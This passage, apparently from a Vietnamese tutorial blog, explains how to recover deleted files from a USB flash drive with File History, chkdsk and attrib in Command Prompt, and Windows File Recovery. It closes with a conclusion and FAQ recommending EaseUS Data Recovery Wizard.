bạn tin là có chứa tệp bạn muốn và nhấp vào "Mở trong Lịch sử tệp" để xem phiên bản đó có chính xác không. Bước 5. Chọn các tập tin bạn muốn khôi phục và nhấp vào nút "Khôi phục" màu xanh lá cây . Phương pháp 3. Sử dụng Command Prompt (CMD) Nếu bạn nghĩ rằng một vấn đề hệ th���ng tệp đã gây ra các tệp bị xóa, hãy chạy chkdsk . Nó phát hiện và sửa lỗi hệ thống tệp. Thực hiện theo phương pháp dưới đây: Bước 1. Bắt đầu bằng cách kết nối ổ đĩa flash USB với máy tính. Tìm kiếm cmd và nhấp vào "Run as Administrator" để khởi chạy. Bước 2. Kiểm tra các sector ổ đĩa bị lỗi. Nhập chkdsk E: /f vào dấu nhắc lệnh. Lệnh này sử dụng ký tự ổ đĩa của thiết bị USB của bạn, E. Bước 3. Nếu ổ đĩa được sử dụng, hãy nhập Y và nhấn Enter. Bước 4. Tiếp theo, nhập attrib -h -r -s /s /d G:* .* để hiển thị hoặc xóa các thuộc tính và các tệp ẩn không được yêu cầu. Thay thế G bằng ký tự ổ đĩa flash USB của bạn. Phương pháp 4: Sử dụng công cụ khôi phục tệp của Windows để khôi phục các tệp đã xóa Chương trình Windows File Recovery của Microsoft có thể khôi phục dữ liệu ổ USB bị xóa nhầm mà không cần tiện ích của bên thứ ba. Ứng dụng dòng lệnh này dành cho Windows 10 phiên bản 2004 trở lên khôi phục dữ liệu ổ USB bị mất. Làm theo các hướng dẫn này để bắt đầu. Bước 1. Tìm kiếm "Windows File Recovery" trong Microsoft Store và tải xuống. Sau khi cài đặt, hãy kết nối ổ đĩa flash USB của bạn và ghi lại ký tự ổ đĩa (E:). Bước 2. Xác định hệ thống tệp của bạn trước khi khôi phục. Vào "This PC." Nhấp chuột phải vào ổ đĩa, chọn "Properties" và kiểm tra NTFS, FAT hoặc exFAT . Bước 3. Chọn chế độ phục hồi theo hệ thống tập tin và tình huống: NTFS (đã xóa gần đây): Sử dụng chế độ thông thường. NTFS (đã xóa, định dạng hoặc bị hỏng): Chế độ mở rộng. FAT/ exFAT (trong mọi trường hợp): Sử dụng chế độ Mở rộng. Bước 4. Chọn công tắc theo tên, loại hoặc phần mở rộng để thu hẹp phạm vi quét. /n: Lọc quét theo tên tệp hoặc loại tệp. /y: Nhóm các tệp (hình ảnh, tài liệu). / segment : Đối với các tệp NTFS, hãy bật chế độ phân đoạn. Bước 5. Chạy Windows Terminal hoặc CMD với tư cách quản trị viên. Nhập lệnh: winfr [ổ đĩa nguồn] ổ đĩa đích: [/mode] [/switches] Bước 6. Để quá trình quét kết thúc. Sau khi khôi phục, các tập tin sẽ ở đúng vị trí đã cho. Phần kết luận Ngay cả khi bạn mất các tập tin quan trọng, bạn vẫn có thể khôi phục chúng. Sau đây là bốn cách để khôi phục dữ liệu đã xóa từ ổ đĩa flash. Để sao lưu và khôi phục dữ liệu trên nhiều thiết bị, bao gồm cả USB, EaseUS Data Recovery Wizard là một giải pháp tuyệt vời. Phần mềm này có thuật toán tiên tiến có thể giúp bạn khôi phục các tập tin đã mất trên ổ đĩa USB. Hơn nữa, bạn có thể thử các giải pháp khác như Windows File Recovery và dấu nhắc CMD. Những câu hỏi thường gặp (FAQ) Dưới đây là những câu hỏi thường gặp về việc khôi phục các tập tin đã xóa trên ổ đĩa flash USB : Làm thế nào để khôi phục các tập tin đã xóa khỏi ổ USB miễn phí? Nếu bạn đang thắc mắc làm thế nào để khôi phục thông tin bị mất từ ổ USB miễn phí thì có hai phương pháp miễn phí để khôi phục các tệp đã xóa từ USB: Dấu nhắc lệnh Khôi phục phiên bản trước đó Làm thế nào để khôi phục các tập tin đã xóa khỏi ổ đĩa flash? Để tránh ghi đè, hãy chọn vị trí không giống với ổ USB mà bạn đang khôi phục dữ liệu bị mất. Thuật toán quét mạnh mẽ của Easeus Data Recovery Wizard có thể dễ dàng khôi phục dữ liệu ổ đĩa flash đã xóa. Tôi phải làm gì nếu ổ đĩa flash bị xóa? Nếu ổ đĩa flash bị xóa, đừng lưu trữ bất kỳ thứ gì trên ổ đĩa vì dữ liệu mới sẽ ghi đè lên các tệp đã xóa trong các sector ổ đĩa flash. Việc sửa chữa các sector ổ đĩa flash cũng có thể làm hỏng dữ liệu và loại bỏ khả năng khôi phục tệp.
0 notes